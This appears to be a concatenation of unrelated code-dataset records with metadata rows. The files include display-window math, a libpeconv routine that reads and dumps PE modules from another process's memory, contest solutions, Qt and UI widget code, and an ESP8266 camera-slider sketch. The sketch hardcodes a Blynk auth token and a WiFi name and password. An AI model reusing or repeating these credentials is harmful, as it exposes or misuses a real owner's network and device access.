pstOutRect->u32OutX = (V_UINT32)pstDispRect->u32OutX + (V_UINT32)(pstDispRect->u32OutWidth - (V_UINT32)pstOutRect->u32OutWidth)/2;
pstOutRect->u32OutY = (V_UINT32)pstDispRect->u32OutY + (V_UINT32)(pstDispRect->u32OutHeight - (V_UINT32)pstOutRect->u32OutHeight)/2;
printf("full OUT stOutRect:(%u,%u,%u,%u)\n",pstOutRect->u32OutX, pstOutRect->u32OutY, pstOutRect->u32OutWidth, pstOutRect->u32OutHeight);
return ;
}
V_VOID SME_Disp_Fitin(SME_HAL_VDISP_PIPE_HDL hdlPipe, const ST_DISP_HAL_RATIO* p_disp_radio, const ST_OUT_RECT* p_win_rect, ST_OUT_RECT* p_disp_win)
{
ST_DISP_SCREEN stVirScreen;
SME_Get_Virtual_Screen(hdlPipe, &stVirScreen);
if(ICS_FAIL == SME_Calcu_Win_Rect(*p_disp_radio, stVirScreen, p_win_rect, p_disp_win))
{
/* if calc filed, maybe the input rect is invaild, so we send input rect to HISI directly*/
ICS_LOGW("SME_Calcu_Win_Rect failed");
p_disp_win->u32OutX = p_win_rect->u32OutX;
p_disp_win->u32OutY = p_win_rect->u32OutY;
p_disp_win->u32OutWidth = p_win_rect->u32OutWidth;
p_disp_win->u32OutHeight = p_win_rect->u32OutHeight;
}
return ;
}
//lint -e529
//lint -e438
V_VOID SME_Get_Virtual_Screen(IN SME_HAL_VDISP_PIPE_HDL hdlPipe, OUT ST_DISP_SCREEN * pstVirScreen)
{
ST_SME_HAL_HI_VDISP_PIPE* pstPipe = (ST_SME_HAL_HI_VDISP_PIPE*)hdlPipe;
HI_S32 i32GetVWinSize = HI_SUCCESS;
HI_U32 u32VirScreenW = VIRTUAL_SCREEN_WIDTH;
HI_U32 u32VirScreenH = VIRTUAL_SCREEN_HEIGHT;
if(NULL == pstPipe || NULL == pstPipe->pstVoutDev)
{
ICS_LOGE("hdlPipe IS NULL, maybe init Vdisp error, pstPipe:%p", pstPipe);
pstVirScreen->u32DispWidth = VIRTUAL_SCREEN_WIDTH;
pstVirScreen->u32DispHeight = VIRTUAL_SCREEN_HEIGHT;
return;
}
#ifdef LINUX_OS
pstVirScreen->u32DispWidth = VIRTUAL_SCREEN_WIDTH;
pstVirScreen->u32DispHeight = VIRTUAL_SCREEN_HEIGHT;
#else
if(pstPipe->pstVoutDev->vout_window_get_virtual_size)
{
i32GetVWinSize = pstPipe->pstVoutDev->vout_window_get_virtual_size(pstPipe->pstVoutDev, pstPipe->phVoutWindow, &u32VirScreenW, &u32VirScreenH);
}
else
{
ICS_LOGE("pstPipe->pstVoutDev->vout_window_get_virtual_size is NULL ,maybe hisi SDK has something wrong");
}
if(i32GetVWinSize == HI_SUCCESS)
{
pstVirScreen->u32DispWidth = u32VirScreenW;
pstVirScreen->u32DispHeight = u32VirScreenH;
}
else
{
pstVirScreen->u32DispWidth = VIRTUAL_SCREEN_WIDTH;
pstVirScreen->u32DispHeight = VIRTUAL_SCREEN_HEIGHT;
ICS_LOGE("get virtual screen failed");
}
#endif
return;
}
//lint +e529
//lint +e438
//lint -e1746
V_UINT32 SME_Calcu_Win_Rect(IN const ST_DISP_HAL_RATIO stUI, IN ST_DISP_SCREEN stScreen,
const ST_OUT_RECT* pstDispRect, ST_OUT_RECT* pOutRect)
{
//UI 宽高比
V_FLOAT fUIRatioWidth = (V_FLOAT)stUI.u32DispRatioW;
V_FLOAT fUIRatioHeight= (V_FLOAT)stUI.u32DispRatioH;
//虚拟屏幕宽高
V_FLOAT fVirScreenWidth = (V_FLOAT)stScreen.u32DispWidth;
V_FLOAT fVirScreenHeight= (V_FLOAT)stScreen.u32DispHeight;
//小窗位置、大小
V_FLOAT fWinWidth ;
V_FLOAT fWinHeight;
V_UINT32 u32StartX;
V_UINT32 u32StartY;
if(pstDispRect != NULL)
{
fWinWidth = (V_FLOAT)pstDispRect->u32OutWidth;
fWinHeight= (V_FLOAT)pstDispRect->u32OutHeight;
u32StartX = pstDispRect->u32OutX;
u32StartY = pstDispRect->u32OutY;
}
else
{
fWinWidth = 0;
fWinHeight = 0;
u32StartX = 0;
u32StartY = 0;
}
//小窗显示比例,UI显示比例
V_FLOAT fWinRatio;
V_FLOAT fUIRatio;
ST_OUT_RECT stOutRectTmp;
E_SME_MEM_SECURE_RET eMemSecRet;
eMemSecRet = VOS_Memset_S((void*)&stOutRectTmp, sizeof(ST_OUT_RECT), 0x0, sizeof(ST_OUT_RECT));
if(eMemSecRet != E_SME_MEM_OK){
ICS_LOGE("init stOutRectTmp failed,ret:%d", eMemSecRet);
return ICS_FAIL;
}
if(fUIRatioWidth == 0 || fUIRatioHeight == 0 || fVirScreenWidth == 0 ||
fVirScreenHeight == 0)
{
ICS_LOGW("the resolution of UI , VirScreen or WinScreen contains zero:[%f %f %f %f]",
fUIRatioWidth, fUIRatioHeight, fVirScreenWidth, fVirScreenHeight);
return ICS_FAIL;
}
if(fWinWidth == 0 && fWinHeight == 0){
fWinWidth = fVirScreenWidth;
fWinHeight = fVirScreenHeight;
}
else if(fWinWidth == 0 || fWinHeight == 0){
ICS_LOGW("window size contains zero");
return ICS_FAIL;
}
fWinRatio = fWinWidth / fWinHeight;
fUIRatio = fUIRatioWidth / fUIRatioHeight;
/* Caculate the real W&H and the start of X,Y */
if(fWinRatio > fUIRatio)
{
/* 宽加黑边 */
stOutRectTmp.u32OutHeight = ((V_UINT32)(fWinHeight)) &~ 15;
stOutRectTmp.u32OutWidth = (V_UINT32)( fUIRatio * fWinHeight);
/* 16字节对齐 */
stOutRectTmp.u32OutWidth = (stOutRectTmp.u32OutWidth) &~ 15;
stOutRectTmp.u32OutX = (V_UINT32)((fWinWidth - stOutRectTmp.u32OutWidth)/2 + u32StartX);
stOutRectTmp.u32OutY = u32StartY + (V_UINT32)((fWinHeight - stOutRectTmp.u32OutHeight)/2);
}
else if(fWinRatio < fUIRatio)
{
/* 高加黑边 */
stOutRectTmp.u32OutHeight = (V_UINT32)(fWinWidth / fUIRatio);
stOutRectTmp.u32OutWidth = ((V_UINT32)(fWinWidth)) &~ 15;
/* 16字节对齐 */
stOutRectTmp.u32OutHeight = (stOutRectTmp.u32OutHeight) &~ 15;
stOutRectTmp.u32OutX = u32StartX + (V_UINT32)((fWinWidth - stOutRectTmp.u32OutWidth)/2);
stOutRectTmp.u32OutY = (V_UINT32)((fWinHeight - stOutRectTmp.u32OutHeight)/2 + u32StartY);
}
else
{
/* ui比例和Screen一致,无需加黑边 */
stOutRectTmp.u32OutWidth = ((V_UINT32)(fWinWidth)) &~ 15;
stOutRectTmp.u32OutHeight = ((V_UINT32)(fWinHeight)) &~ 15;
stOutRectTmp.u32OutX = u32StartX + (V_UINT32)((fWinWidth - stOutRectTmp.u32OutWidth)/2);
stOutRectTmp.u32OutY = u32StartY + (V_UINT32)((fWinHeight - stOutRectTmp.u32OutHeight)/2);
}
if(pstDispRect != NULL)
{
ICS_LOGW("fitin IN pstDispRect(%u,%u,%u,%u)\n", pstDispRect->u32OutX, pstDispRect->u32OutY, pstDispRect->u32OutWidth, pstDispRect->u32OutHeight);
}
if(pOutRect != NULL)
{
pOutRect->u32OutX = stOutRectTmp.u32OutX;
pOutRect->u32OutY = stOutRectTmp.u32OutY;
pOutRect->u32OutHeight = stOutRectTmp.u32OutHeight;
pOutRect->u32OutWidth = stOutRectTmp.u32OutWidth;
ICS_LOGW("fitin OUT stOutRect:(%u,%u,%u,%u)\n",pOutRect->u32OutX, pOutRect->u32OutY, pOutRect->u32OutWidth, pOutRect->u32OutHeight);
}
return ICS_SUCCESS;
}
//lint +e1746
| [
"glin.zhao@gmail.com"
] | glin.zhao@gmail.com |
4631d7b406ff3b5f7f9091f90e9580433cc80518 | daf16efa120b1224fa96dc8d38e73d88eff1fa9d | /libpeconv/src/remote_pe_reader.cpp | 617bb0481f0bb4b91cd68c785c23c6e324ef06c6 | [
"BSD-2-Clause"
] | permissive | kernullist/libpeconv | 968e0b1f3d31b26268d0f363dc045be1e1cb8bc8 | 87860d17bfa4caeedcc1986079e4dc2556ea4a70 | refs/heads/master | 2021-08-31T00:30:56.236684 | 2017-12-19T18:44:45 | 2017-12-19T18:44:45 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,144 | cpp | #include "peconv/remote_pe_reader.h"
#include <stdio.h>
using namespace peconv;
bool peconv::read_remote_pe_header(HANDLE processHandle, BYTE *start_addr, size_t mod_size, OUT BYTE* buffer, const size_t buffer_size)
{
SIZE_T read_size = 0;
const SIZE_T step_size = 0x100;
SIZE_T to_read_size = buffer_size;
memset(buffer, 0, buffer_size);
while (to_read_size >= step_size) {
BOOL is_ok = ReadProcessMemory(processHandle, start_addr, buffer, to_read_size, &read_size);
if (!is_ok) {
//try to read less
to_read_size -= step_size;
continue;
}
if (get_nt_hrds(buffer) == NULL) {
printf("[-] Cannot get the module header!\n");
return false;
}
if (read_size < get_hdrs_size(buffer)) {
printf("[-] Read size: %#x is smaller that the headers size: %#x\n", read_size, get_hdrs_size(buffer));
return false;
}
//reading succeeded and the header passed the checks:
return true;
}
return false;
}
BYTE* peconv::get_remote_pe_section(HANDLE processHandle, BYTE *start_addr, size_t mod_size, const size_t section_num, OUT size_t §ion_size)
{
BYTE header_buffer[MAX_HEADER_SIZE] = { 0 };
SIZE_T read_size = 0;
if (!read_remote_pe_header(processHandle, start_addr, mod_size, header_buffer, MAX_HEADER_SIZE)) {
return NULL;
}
PIMAGE_SECTION_HEADER section_hdr = get_section_hdr(header_buffer, MAX_HEADER_SIZE, section_num);
if (section_hdr == NULL || section_hdr->SizeOfRawData == 0) {
return NULL;
}
BYTE *module_code = (BYTE*) calloc(section_hdr->SizeOfRawData, sizeof(BYTE));
if (module_code == NULL) {
return NULL;
}
ReadProcessMemory(processHandle, start_addr + section_hdr->VirtualAddress, module_code, section_hdr->SizeOfRawData, &read_size);
if (read_size != section_hdr->SizeOfRawData) {
free(module_code);
return NULL;
}
section_size = read_size;
return module_code;
}
void peconv::free_remote_pe_section(BYTE *section_buffer)
{
free(section_buffer);
}
size_t peconv::read_remote_pe(const HANDLE processHandle, BYTE *start_addr, const size_t mod_size, OUT BYTE* buffer, const size_t bufferSize)
{
if (buffer == NULL || bufferSize < mod_size) {
printf("[-] Invalid output buffer\n");
return 0;
}
SIZE_T read_size = 0;
if (ReadProcessMemory(processHandle, start_addr, buffer, mod_size, &read_size)) {
return read_size;
}
printf("[!] Warning: failed to read full module at once: %d\n", GetLastError());
printf("[*] Trying to read the module section by section...\n");
BYTE hdr_buffer[MAX_HEADER_SIZE] = { 0 };
if (!read_remote_pe_header(processHandle, start_addr, mod_size, hdr_buffer, MAX_HEADER_SIZE)) {
printf("[-] Failed to read the module header\n");
return 0;
}
//if not possible to read full module at once, try to read it section by section:
size_t sections_count = get_sections_count(hdr_buffer, MAX_HEADER_SIZE);
for (size_t i = 0; i < sections_count; i++) {
SIZE_T read_sec_size = 0;
PIMAGE_SECTION_HEADER hdr = get_section_hdr(hdr_buffer, MAX_HEADER_SIZE, i);
if (!hdr) {
printf("[-] Failed to read the header of section: %d\n", i);
break;
}
const DWORD sec_va = hdr->VirtualAddress;
const DWORD sec_size = hdr->SizeOfRawData;
if (sec_va + sec_size > bufferSize) {
printf("[-] No more space in the buffer!\n");
break;
}
if (!ReadProcessMemory(processHandle, start_addr + sec_va, buffer + sec_va, sec_size, &read_sec_size)) {
printf("[-] Failed to read the module section: %d\n", i);
}
read_size = sec_va + read_sec_size;
}
return read_size;
}
bool peconv::dump_remote_pe(const char *out_path, const HANDLE processHandle, BYTE *start_addr, size_t mod_size, bool unmap)
{
BYTE* buffer = (BYTE*) VirtualAlloc(NULL, mod_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
size_t read_size = 0;
if ((read_size = read_remote_pe(processHandle, start_addr, mod_size, buffer, mod_size)) == 0) {
printf("[-] Failed reading module. Error: %d\n", GetLastError());
VirtualFree(buffer, mod_size, MEM_FREE);
buffer = NULL;
return false;
}
BYTE* dump_data = buffer;
size_t dump_size = mod_size;
size_t out_size = 0;
BYTE* unmapped_module = NULL;
if (unmap) {
unmapped_module = pe_virtual_to_raw(buffer, mod_size, (ULONGLONG)start_addr, out_size);
if (unmapped_module != NULL) {
dump_data = unmapped_module;
dump_size = out_size;
}
}
FILE *f1 = fopen(out_path, "wb");
if (f1) {
fwrite(dump_data, 1, dump_size, f1);
fclose(f1);
printf("Module dumped to: %s\n", out_path);
f1 = NULL;
}
VirtualFree(buffer, mod_size, MEM_FREE);
buffer = NULL;
if (unmapped_module) {
VirtualFree(unmapped_module, mod_size, MEM_FREE);
}
return true;
} | [
"hasherezade@gmail.com"
] | hasherezade@gmail.com |
c4671da49cc7923e330b1acba00b6992ac20718a | 9da88ab805303c25bd9654ad45287a62a6c4710f | /Cpp/atcoder/abc/294/A.cpp | 184cc820961691eacedc2ca7e1b380b124d864b4 | [] | no_license | ms303956362/myexercise | 7bb7be1ac0b8f40aeee8ca2df19255024c6d9bdc | 4730c438354f0c7fc3bce54f8c1ade6e627586c9 | refs/heads/master | 2023-04-13T01:15:01.882780 | 2023-04-03T15:03:22 | 2023-04-03T15:03:22 | 232,984,051 | 2 | 0 | null | 2022-12-02T06:55:19 | 2020-01-10T06:47:00 | C | UTF-8 | C++ | false | false | 1,664 | cpp | // IO
#include <iostream>
#include <iomanip> // std::setprecision
#include <sstream>
// ordered container
#include <vector>
#include <deque>
#include <list>
#include <forward_list>
#include <string>
#include <stack>
#include <queue>
// associative-container
#include <map>
#include <set>
#include <unordered_map>
#include <unordered_set>
// algorithm
#include <algorithm>
#include <cmath>
// utility
#include <initializer_list>
#include <iterator>
#include <memory>
#include <utility>
// c
#include <cstdio>
#include <cstdlib>
#include <cstring>
// functional
#include <functional>
using namespace std;
using ll = long long;
int main(int argc, char const *argv[])
{
ios::sync_with_stdio(false);
cin.tie(0);
ll n, m, k;
cin >> n >> m >> k;
vector<ll> a(n), b(n), c(m), d(m);
for (int i = 0; i < n; ++i) {
cin >> a[i] >> b[i];
}
for (int i = 0; i < m; ++i) {
cin >> c[i] >> d[i];
}
auto cnt = [&](double rr) {
double r = rr / 100;
vector<double> v;
for (int i = 0; i < m; ++i) {
v.push_back(r * (c[i] + d[i]) - c[i]);
}
sort(v.begin(), v.end());
ll total = 0;
for (int i = 0; i < n; ++i) {
double val = a[i] - r * (a[i] + b[i]);
total += upper_bound(v.begin(), v.end(), val) - v.begin();
}
return total;
};
double l = 0, h = 100;
while (h - l > 1e-11) {
double r = (l + h) / 2;
ll cc = cnt(r);
if (cc < k) {
h = r;
} else {
l = r;
}
}
cout << fixed << setprecision(16) << (l + h) / 2 << '\n';
return 0;
}
| [
"ms303956362@163.com"
] | ms303956362@163.com |
22d8b2ddcd90ab652d66076439ab652ae3948645 | 8c7e2eb08a4b8f869f551d157dd8c698dedfcf34 | /SpreadSheet/source/gasrelaymonitorform.cpp | 0dd59e914399122602f9873a2e761d69c94e655f | [] | no_license | MelonSuika/EmonitorSys | 5bac5f9de6b91555d7c603ab710a1a7adbec74d4 | ce0c0f6fe551f4a977f77991e07ae46651826e91 | refs/heads/master | 2021-07-02T19:36:21.066534 | 2020-06-01T00:49:42 | 2020-06-01T00:49:42 | 203,274,997 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 635 | cpp | #include "gasrelaymonitorform.h"
#include "ui_gasrelaymonitorform.h"
#include <QFile>
GasRelayMonitorForm::GasRelayMonitorForm(QWidget *parent) :
QWidget(parent),
ui(new Ui::GasRelayMonitorForm)
{
ui->setupUi(this);
/* 加载浮子UI */
m_quickWidget = new QQuickWidget;
m_quickWidget->setSource(QUrl("qrc:/gas.qml"));
ui->verticalLayout_display->addWidget(m_quickWidget);
/* 固定大小 */
m_quickWidget->setSizePolicy(QSizePolicy::Policy::Expanding, QSizePolicy::Policy::Expanding);
m_quickWidget->setFixedSize(625, 600);
}
GasRelayMonitorForm::~GasRelayMonitorForm()
{
delete ui;
}
| [
"1239965396@qq.com"
] | 1239965396@qq.com |
d69c900a8600125e0d762119d031bcd85afe2018 | 17e8b775ec28c774857919b8df957145adf2e606 | /codeforces/Text Volume.cpp | 462d773aa3654d21c937c0aaa5b91681420fa826 | [] | no_license | chamow97/Competitive-Coding | 30b5acc77d51207c55eca91b8da161d80a3fbfab | 8f2d8a1ca6881dbde9c75735240d4e4f681e0138 | refs/heads/master | 2021-04-28T21:40:05.294842 | 2019-09-15T13:25:59 | 2019-09-15T13:25:59 | 77,766,905 | 5 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,265 | cpp | //template by chamow
#include<bits/stdc++.h>
/*-------------------------------------------------------- */
using namespace std;
/*-------------------------------------------------------- */
#define rep(i,val,n) for(ll i=val;i<n;i++)
#define per(j,val,n) for(ll j=val;j>=n;j--)
#define pb push_back
#define pi 3.14157
#define mp make_pair
#define MODULO 1000000007
#define INF 1000000000000000
#define fastread ios_base::sync_with_stdio(false); cin.tie(NULL);
/*-------------------------------------------------------- */
typedef long long ll;
typedef vector<bool> boolean;
typedef vector<ll> vec;
/*-------------------------------------------------------- */
ll gcd(ll a, ll b)
{
if(b == 0)
{
return a;
}
return gcd(b, a%b);
}
ll lcm(ll a, ll b)
{
return ((a*b)/gcd(a,b));
}
/*-------------------------------------------------------- */
int main()
{
fastread;
ll n;
cin>>n;
string str;
// scanf("%200[0-9a-zA-Z ]", str);
getline(cin, str);
if(str.size()==0){
getline(cin,str);
}
ll caps = 0;
ll maximum = 0;
rep(i,0,n)
{
if(str[i] >= 65 && str[i] <= 90)
{
++caps;
}
else if(str[i] == ' ')
{
maximum = max(maximum, caps);
caps = 0;
}
}
// cout<<str;
maximum = max(maximum, caps);
cout<<maximum;
return 0;
} | [
"chamow97@hotmail.com"
] | chamow97@hotmail.com |
a69206b9568657a2e7547d541161e99c90f706d7 | 60998cfe86e6dfaa1cdddc9bbd52a319429af6ef | /src/slider_project_ESP8266/slider_project_ESP8266.ino | 995d71e8fc4d817543fe448d121a52b6f029ba14 | [
"MIT"
] | permissive | aurelio-amerio/camera-slider | 3b61fb99061db39f96ad151dafc672b7e568be45 | 39f085408642743989096cff71eaebe752355c9f | refs/heads/master | 2020-06-03T04:03:46.914755 | 2019-06-11T19:03:04 | 2019-06-11T19:03:04 | 191,431,130 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 2,169 | ino | #include "definitions.h"
#include "includes.h"
#include "global_vars.h"
#include "tab1_main_menue.h"
#include "tab2_calib.h"
#include "tab3_stop_motion.h"
// You should get Auth Token in the Blynk App.
// Go to the Project Settings (nut icon).
char auth[] = "24ee45c3838a41a091d79864ad77702c"; //online
//char auth[] = "b480210566ac409084bb68e27b3de193"; //local
// Your WiFi credentials.
// Set password to "" for open networks.
char ssid[] = "ACasa_2GHz";
char pass[] = "topoc1ccioArduino2017";
BlynkTimer calibTimer;
StopMotionMove stopMotion;
//inizio del codice blynk
BLYNK_CONNECTED() {
Blynk.syncAll();
}
void setup()
{
// Debug console
Serial.begin(9600);
Serial.print("serial port open");
Blynk.begin(auth, ssid, pass);
Blynk.syncAll();
// You can also specify server:
//Blynk.begin(auth, ssid, pass, "blynk-cloud.com", 8442);
//Blynk.begin(auth, ssid, pass, IPAddress(192,168,1,100), 8442);
//setto il pin Enabler
stepper.setEnablePin(ENA);
//stepper.setMaxSpeed(maxSpeedVal);
//stepper.setAcceleration(maxAccelerationVal);
//inizializzo la posizione
currentPositionVal = stepper.currentPosition();
//inizializzo il calibTimer
calibTimer.setInterval(3000L, calib_print_info);
//inizializzo setup tab
//Blynk.virtualWrite(calibSpeedSliderPin, 25); //set speed to 25%
//inizializzo caputure tab
//Blynk.virtualWrite(captureTotalHoursPin, 0);
//Blynk.virtualWrite(captureTotalMinutesPin, 0);
//pulisco gli schermi
calibLCD.clear();
captureLCD1.clear();
captureLCD2.clear();
//svuoto la tab di calibrazione
calibration_color_disable();
}
void loop()
{
int distanceLeft = stepper.distanceToGo();
if (mode == 1)
{
doCalibLoop(distanceLeft);
stepper.runSpeedToPosition();
}
if (mode == 2)
{
resetPositionLoop();
if (captureRunning == 0 && captureStart == 1)
{
stopMotion.initialize();
captureRunning = 1;
}
else if (captureRunning == 1 && captureStart == 1)
{
stopMotion.run();
}
else
{
//sto fermo, non devo fare nulla
}
stepper.run();
}
calibTimer.run();
//connessione
Blynk.run();
}
| [
"aurelio.amerio@edu.unito.it"
] | aurelio.amerio@edu.unito.it |
fe4b4b2714bf0fb0ecb9f48aa73326c0ae5c5cdf | 38344d7d34f53efc37817707c1b55af58ef577cf | /Homework/Review2/Review2/PlusTab.cpp | 336012d591b4e3e5c5e5dcf4428f3ee2aa91e5a0 | [] | no_license | jventura10/Ventura_Javier_CSC17C_Spring2018 | 9678342a7705bbb878f0bf04c0e410847d635101 | 21bc7edb45cc0f8e89220f3de80dd24f2ea89d9f | refs/heads/master | 2020-03-09T14:57:49.520001 | 2019-02-18T20:09:59 | 2019-02-18T20:09:59 | 128,847,847 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 637 | cpp | /*
* File: PlusTab.h
* Author: Javier Ventura
* Purpose: PlusTab Class Implementation, Table Addition Operator
* Created on March 5, 2018, 3:49 PM
*/
#include "PlusTab.h"
#include <cstdlib>
#include <ctime>
#include <iostream>
#include <iomanip>
using namespace std;
PlusTab PlusTab::operator +(const PlusTab& orig)
{
PlusTab temp(this->szRow, this->szCol);
for(int i =0; i < temp.szRow; i++)
{
temp.columns[i] = new RowAray(temp.szCol);
for(int j = 0; j < temp.szCol; j++)
{
temp.setData(i, j, this->getData(i, j) + orig.getData(i, j));
}
}
return temp;
} | [
"jventura1097@gmail.com"
] | jventura1097@gmail.com |
ff7a74ca527c8a1338df692c9f8fcfa40a96455a | 16ba3e5c0cc63e4b0512bc18d792211e3ec6545e | /src/ui/Button.cpp | 184616685b58f34e3cd756ca36dd016f0bca9cce | [
"Zlib"
] | permissive | jooo000hn/mud | d1e0215a02b79395007c46c14b83b0cebf13d7bd | 0970ab1d066145c3b36aeee434469e3b2f2a808f | refs/heads/master | 2020-03-19T05:16:57.780975 | 2018-06-03T00:42:33 | 2018-06-03T00:42:33 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,281 | cpp | // Copyright (c) 2018 Hugo Amiard hugo.amiard@laposte.net
// This software is provided 'as-is' under the zlib License, see the LICENSE.txt file.
// This notice and the license may not be removed or altered from any source distribution.
#ifdef MUD_CPP_20
#include <assert.h> // <cassert>
#include <stdint.h> // <cstdint>
#include <float.h> // <cfloat>
import std.core;
import std.memory;
#else
#include <cstring>
#endif
#ifdef MUD_MODULES
module mud.ui;
#else
#include <obj/String/StringConvert.h>
#include <math/Image.h>
#include <ui/Button.h>
#include <ui/Structs/Widget.h>
#include <ui/Structs/Container.h>
#include <ui/Sheet.h>
#include <ui/ScrollSheet.h>
#include <ui/UiWindow.h>
#endif
namespace mud
{
namespace ui
{
Widget& spacer(Widget& parent)
{
return widget(parent, styles().spacer);
}
Widget& icon(Widget& parent, cstring icon)
{
return item(parent, styles().item, icon);
}
Widget& label(Widget& parent, cstring label)
{
return item(parent, styles().label, label);
}
Widget& title(Widget& parent, cstring label)
{
return item(parent, styles().title, label);
}
Widget& message(Widget& parent, cstring label)
{
return item(parent, styles().message, label);
}
Widget& text(Widget& parent, cstring label)
{
return item(parent, styles().text, label);
}
void button_logic(Widget& self)
{
if(MouseEvent mouse_event = self.mouse_event(DeviceType::MouseLeft, EventType::Pressed))
self.enableState(PRESSED);
if(MouseEvent mouse_event = self.mouse_event(DeviceType::MouseLeft, EventType::Released))
self.disableState(PRESSED);
if(MouseEvent mouse_event = self.mouse_event(DeviceType::MouseLeft, EventType::Stroked))
{
self.enableState(ACTIVATED);
mouse_event.consume(self);
}
else
{
self.disableState(ACTIVATED);
}
}
void toggle_logic(Widget& self, bool& on)
{
button_logic(self);
if(self.activated())
on = !on;
self.setState(ACTIVE, on);
}
Widget& button(Widget& parent, Style& style, cstring content)
{
Widget& self = item(parent, style, content);
button_logic(self);
return self;
}
Widget& multi_button(Widget& parent, Style& style, array<cstring> elements, Style* element_style)
{
Widget& self = multi_item(parent, style, elements, element_style);
button_logic(self);
return self;
}
Widget& toggle(Widget& parent, Style& style, bool& on, cstring content)
{
Widget& self = item(parent, style, content);
toggle_logic(self, on);
return self;
}
Widget& multi_toggle(Widget& parent, Style& style, bool& on, array<cstring> elements, Style* element_style)
{
Widget& self = multi_item(parent, style, elements, element_style);
toggle_logic(self, on);
return self;
}
Widget& button(Widget& parent, cstring content)
{
return button(parent, styles().button, content);
}
Widget& multi_button(Widget& parent, array<cstring> elements, Style* element_style)
{
return multi_button(parent, styles().multi_button, elements, element_style);
}
Widget& toggle(Widget& parent, bool& on, cstring content)
{
return toggle(parent, styles().toggle, on, content);
}
Widget& multi_toggle(Widget& parent, bool& on, array<cstring> elements, Style* element_style)
{
return multi_toggle(parent, styles().multi_button, on, elements, element_style);
}
bool modal_button(Widget& screen, Widget& parent, cstring content, uint32_t mode)
{
if(button(parent, content).activated())
screen.m_switch |= mode;
return (screen.m_switch & mode) != 0;
}
bool modal_multi_button(Widget& screen, Widget& parent, array<cstring> elements, uint32_t mode)
{
if(multi_button(parent, elements).activated())
screen.m_switch |= mode;
return (screen.m_switch & mode) != 0;
}
Widget& checkbox(Widget& parent, bool& on)
{
return toggle(parent, styles().checkbox, on);
}
Widget& fill_bar(Widget& parent, float percentage, Dim dim)
{
Widget& self = widget(parent, styles().fill_bar);
spanner(self, styles().filler, dim, percentage);
spanner(self, styles().spacer, dim, 1.f - percentage);
item(self, styles().slider_display, string(to_string(percentage) + "%").c_str());
return self;
}
Widget& figure(Widget& parent, const Image256& source)
{
Widget& self = widget(parent, styles().figure);
std::vector<uint8_t> data = source.read();
Image& image = self.ui_window().create_image("Figure", uvec2{ source.m_width, source.m_height }, &data[0], false);
self.m_frame.set_icon(&image);
return self;
}
Widget& radio_choice(Widget& parent, cstring value, bool active)
{
Widget& self = multi_button(parent, styles().radio_choice, carray<cstring, 1>{ value }, &styles().radio_choice_item);
self.setState(ACTIVE, active);
return self;
}
bool radio_switch(Widget& parent, array<cstring> labels, size_t& value, Dim dim)
{
Widget& self = widget(parent, styles().radio_switch, false, dim);
bool changed = false;
for(size_t index = 0; index < labels.size(); ++index)
{
if(radio_choice(self, labels[index], value == index).activated())
{
changed = true;
value = index;
}
}
return changed;
}
Widget& dropdown(Widget& parent, Style& style, cstring value, PopupFlags popup_flags, Style* list_style)
{
Widget& self = widget(parent, style);
Widget& header = multi_toggle(self, dropdown_styles().head, self.m_open, carray<cstring, 1>{ value });
Widget& button = toggle(self, dropdown_styles().toggle, self.m_open);
self.setState(HOVERED, header.hovered() || button.hovered());
self.m_body = nullptr;
if(self.m_open)
{
self.m_body = &popup(self, list_style ? *list_style : dropdown_styles().list, popup_flags);
self.m_open &= self.m_body->m_open;
}
return self;
}
Widget& dropdown_choice(Widget& parent, array<cstring> elements, bool active)
{
Widget& self = multi_button(parent, dropdown_styles().choice, elements);
self.setState(ACTIVE, active);
return self;
}
bool popdown(Widget& parent, array<cstring> choices, size_t& value, vec2 position, PopupFlags popup_flags)
{
Widget& self = popup_at(parent, dropdown_styles().popdown, position, popup_flags);
ScrollSheet& sheet = scroll_sheet(self);
for(size_t i = 0; i < choices.size(); ++i)
if(dropdown_choice(*sheet.m_body, carray<cstring, 1>{ choices[i] }, i == value).activated())
{
value = i;
return true;
}
return false;
}
bool dropdown_input(Widget& parent, array<cstring> choices, size_t& value, bool compact)
{
Style& style = compact ? dropdown_styles().dropdown_input_compact : dropdown_styles().dropdown_input;
Widget& self = dropdown(parent, style, value == SIZE_MAX ? "" : choices[value], PopupFlags::Modal);
if(!self.m_body) return false;
for(size_t i = 0; i < choices.size(); ++i)
if(dropdown_choice(*self.m_body, carray<cstring, 1>{ choices[i] }, value == i).activated())
{
value = i;
self.m_open = false;
return true;
}
return false;
}
bool typedown_input(Widget& parent, array<cstring> choices, size_t& value)
{
bool changed = dropdown_input(parent, choices, value); //dropdown_styles().typedown_input
//if(scope->m_state & ACTIVATED)
// filter_input(self);
return changed;
}
Widget& menu_choice(Widget& parent, array<cstring> elements)
{
Widget& self = multi_button(parent, elements); //, menu_styles().choice
if(self.activated())
self.m_parent->m_parent->m_open = false;
return self;
}
Widget& menu_choice(Widget& parent, cstring content)
{
return menu_choice(parent, carray<cstring, 1>{ content });
}
Widget& menu(Widget& parent, cstring label, bool submenu)
{
Style& list_style = submenu ? menu_styles().sublist : menu_styles().list;
return dropdown(parent, menu_styles().menu, label, PopupFlags::Modal, &list_style);
}
Widget& menubar(Widget& parent)
{
return widget(parent, menu_styles().menubar);
}
Widget& toolbutton(Widget& parent, cstring icon)
{
return button(parent, icon);
//string value;
//return dropdown_input(parent, styles().tool_button, {}, value);
}
Widget& tooldock(Widget& parent)
{
return widget(parent, toolbar_styles().tooldock);//, GRID)
}
Widget& toolbar(Widget& parent, bool wrap)
{
Widget& self = widget(parent, wrap ? toolbar_styles().toolbar_wrap : toolbar_styles().toolbar);
widget(self, toolbar_styles().mover);
return self;
}
}
}
| [
"hugo.amiard@laposte.net"
] | hugo.amiard@laposte.net |
